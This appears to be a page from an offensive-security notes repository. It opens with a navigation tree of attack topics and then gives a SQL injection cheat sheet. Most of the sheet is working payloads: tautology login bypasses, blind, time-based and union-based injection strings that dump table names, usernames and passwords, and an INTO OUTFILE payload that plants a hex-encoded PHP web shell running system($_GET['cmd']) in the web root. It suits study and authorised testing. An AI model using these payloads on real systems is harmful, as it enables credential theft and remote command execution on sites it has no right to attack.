Crypto

Openssl

- openssl
- openssl_engine

- rsa

Enumeration

Containers

Docs

- aws
- cewl
- dns
- docker_enumeration
- ffuf
- gobuster
- kerberoast
- kubectl
- ldap
- linux_basics
- microk8s
- nfs
- nikto
- nmap
- port_knocking
- rpcclient
- rsync
- rustscan
- shodan
Snmp

- onesixtyone
- snmpcheck

- websites
- wfuzz
- wpscan

Network_scanners

Windows

- bloodhound
- event_log
- manual_enum
- powershell
- rpcclient
- sysinternals
- sysmon
- vss

Exfiltration

Dns

- dns

Linux

- nc
- wget

Windows

- evil-winrm
- loot
- smb_connection

Exploit

CPUs

- meltdown

Binaries

- aslr
Buffer_overflow

Docs

- amd64
- amd64_instructions
- buffer_overflow
- cut_stack_in_half
- pwntools_specifics
- ret_address_reuse

- ropping

Canary_bypass

- canary_bypass

Format_string

- format_string

Integral_promotion

- integral_promotion

- plt_got
- r2
- ret2libc

Dns

- zone_transfer

Hashes

- collision

Imagemagick

- imagetragick

Java

OGNL

- cve_2022_26134

- ghidra_debug
- ghostcat
- log4shell
- spring4shell

Level3_hypervisor

Docker_sec

- docker

- kubernetes
- lxc
- microk8s

Linux

- capabilities
Dirty_pipe

- dirty_pipe

- exiftool
- groups
- ld_preload
- nfs_rootsquash
- overlayfs
Pkexec

- CVE_2021_4034

- polkit
- racing_conditions
- setcap
- shared_object_injection
- shell_shock
Sudo

- CVE_2019_14287
- CVE_2019_18634
- baron_samedit
- tokens

- wildard_exploitation

MacOS

Network

- mac_spoofing

Padding

- padbuster

Python

- code_injection
- jail_escape
- lib_hijack
- pickle
- pwntools
- pyc
- scapy

Samba

- smbmap

Sqli

- mssql
- no_sqli
- sqli
- sqlmap

Ssl_tls

- heartbleed

Web

Bypass_rate_limiting

- bypass_rate_limiting

- command_injection
Content_security_policy

- content_security_policy

- cookie_tampering
- csrf
Forced_browsing

- forced_browsing

- http_header_injection
Idor

- idor

Javascript

- bypass_filters
- prototype_pollution

Jwt

- jwt

- local_file_inclusion
- methodology
Nodejs

- deserialization

Php

- command_injection
- password_reset
- php_base64_filter
- php_image_exif
- php_user_agent_rce
- preload_lib
- unserialize

- re_registration
- remote_file_inclusion
Ssrf

- iframe
- ssrf

Ssti

- ssti

- url_forgery
- wordpress
- xpath
- xss
Xxe

- wp_xxe_
- xml_external_entity

Windows

Dll_hijacking

- dll_hijacking

Docs

- always_installed_elevated
- crackmapexec
- dpapi
- impacket
- llmnr
- lnk_exploit
- pass_the_hash
- password_in_registry
- potatoes
- printnightmare
- responder
- unquoted_path

Macros

- macros

Payloads

- windows_scripting_host

Print_nightmare

CVE-2021-1675

Nightmare-dll

- print_nightmare

Process_injection

- dll_injection
- process_hollowing
- shellcode_injection
- thread_hijacking

Service_escalation

- service_escalation

Zero_logon

- zero_logon

Yaml

- deserialization

Forensics

- ios
- kape
- ntfs
- oletools
- volatility
- windows_registry

Hashes

Bruteforce

- generate_wordlists
- haiti
- hashcat_utils
Password_cracking

- hydra
- john
- smb_challenge
- sucrack
- vnc

Password_guessing

- standard_passwords

Misc

Active_directory

- AD_CS
- active_directory
- ad_enumeration
- ad_misconfiguration
- ad_persistence
- gaining_foothold_AD
- lateral_movement

- bash
- clamav
- gitTools
- hadoop
- metasploit
Printer_hacking

- preta

- responder
- sandbox_evasion
- smtp
- snort
Telecommunications

_sipvicious

.github

ISSUE_TEMPLATE

- bug-report
- custom

Sipvicious

- sip_vicious

Threat_intelligence

- isac
- loki
- osquery
- pithus
- siem
- splunk
- yara

Wifi

- airmon-ng

Osint

- recon_ng
Social_engineering

- gophish
- phishing_domain

- spiderfoot
- theharvester

Persistence

- bashrc
- crontab
- meterpreter
- persistence
- wmi

Post exploitation

Seatbelt

.github

ISSUE_TEMPLATE

- bug_report
- feature_request

- CHANGELOG
Seatbelt

Commands

Windows

EventLogs

Output

Bc_security

Docs

- c2
- crackmapexec
- empire
- ids_ips_evation
- linux
- metasploit
- mimikatz
- mitm
- nfs_root_squash
- powershell
- secretsdump
Windows

- antivirus_evasion
- applocker
- evade_event_tracing
- living_off_the_land
- pass_the_hash
- powershell_logs
- registry
- sebackupprivilege
- user_account_control

- pivoting
Priv_esc

Docs

- linux_priv_esc
- pspy
Windows

- add_user
- windows_priv_esc

Kernel-exploits

Privesc-scripts

Docs

- get_script_onto_target

Suid

Reverse engineering

Android

- misc

Docs

- deobfuscation
- dll_reversing
- firmware
- function_mangling
- scada

Java

- krakatau

Reverse shells

Docs

- evil-winrm
- msfconsole
- msfvenom
- netcat
- powershell
- shell_upgrade
- socat
- webshell

- firewalls
Windows

Stego

Docs

- outguess
- remnux
- stegbrute
- steghide
- stegoveritas
- zsteg

- SQL Injection
  - Finding an Opportunity
  - Usage
    - Boolean True and False
    - Time based
    - Blind injection // Guessing characters
    - Union based
    - Identify Database
      - SQL Functions
  - Insert
    - Examples
  - Payloads

# SQL Injection

- MySQL Comments

## Finding an Opportunity

- GET parameter

    http://example.com/index.php?id=' or 1=1 -- -

- Sometimes an ID or may come first

    http://example.com/index.php?id=10 or 1=1 -- +
    http://example.com/index.php?id=10' or '1'='1'-- -
    http://example.com/index.php?id=-1' or 1=1 -- -&password=x

- Provoke error to gain information

    http://example.com/index.php?id='

- Incase of client side sanitization craft the URL instead of using the form!!!

## Usage

- Example, terminate string via `'` and resolve via tautology, comment the rest of the string via `--`

    SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
    SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+

### Boolean True and False

    SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
    SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+

- Blind boolean base substring fuzzing, one char at a time, by inspecting the return value after each inserted char.

    ' UNION SELECT null,null,null where database() like 'da%';-- -

### Time based

- Checking input blindly via sleep() function. Count number of cols in this way. If it is successful, the sleep(5) function executes

    ' union select sleep(3), null; -- -

### Blind injection // Guessing characters

    http://example.com/?id=1' and substr((select database()),1,1) < 105 --+

    http://example.com/?id=1' and (ascii(substr((select database(),1,1)) = 115 --+

- Function substr(string, start, length)
- sqlmap via `--level=5 --risk=3 --dbms=sqlite --technique=b --dump`

### Union based

- _First method__ check by order until error occurs

    ' order by 1 -- -
    ' order by 2 -- -
    ' order by 3 -- -

- Second method fuzzing NULL values, followed by fuzzing data types
- Check number of cols

    ' UNION SELECT NULL--
    ' UNION SELECT NULL,NULL--
    ' UNION SELECT NULL,NULL,NULL--
    # until the error occurs

- Check which one is a string

    ' UNION SELECT 'a',NULL,NULL,NULL--
    ' UNION SELECT NULL,'a',NULL,NULL--
    ' UNION SELECT NULL,NULL,'a',NULL--
    ' UNION SELECT NULL,NULL,NULL,'a'--

- Retrieve content, for cols and comment two times as an example. Or dump database

    ' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- //
    ' UNION SELECT NULL,username,password,NULL FROM users -- //

- Retrieve content by union poking the count and order, afterwards extracting tables via

    0 union select null, null, database()
    0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
    0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
    0 union select null, null, group_concat(username, ':', password from found_tablename

- OWASP SQLi Docs

### Identify Database

    id=sqlite_version()
    id=@@version # mysql/mssql
    id=(SELECT banner FROM v$version) # oracle

#### SQL Functions

- Use sql functions to fumble the tables & cols via union
- source
- Extract tables

    1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -

- sqlite specific

    ' UNION SELECT sql, sql FROM sqlite_master -- -

    (SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
    (SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')

- Extract cols

    1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -

- Data from cols

    1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -

## Insert

- Check user file permissions

    union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -

- Insert file through insertion of `system()` or `exec_shell()` and a get parameter

    <cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -

- Insert `<?php system($_GET["cmd"]); ?>`

    " Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -

### Examples

- sqli inside HTTP request to an API. Five values inside select have been discovered before

    GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1

    * Get col names
    ```HTTP
    GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
    ```
    * Get notes from users by id
    ```HTTP
    GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
    ```

## Payloads

- List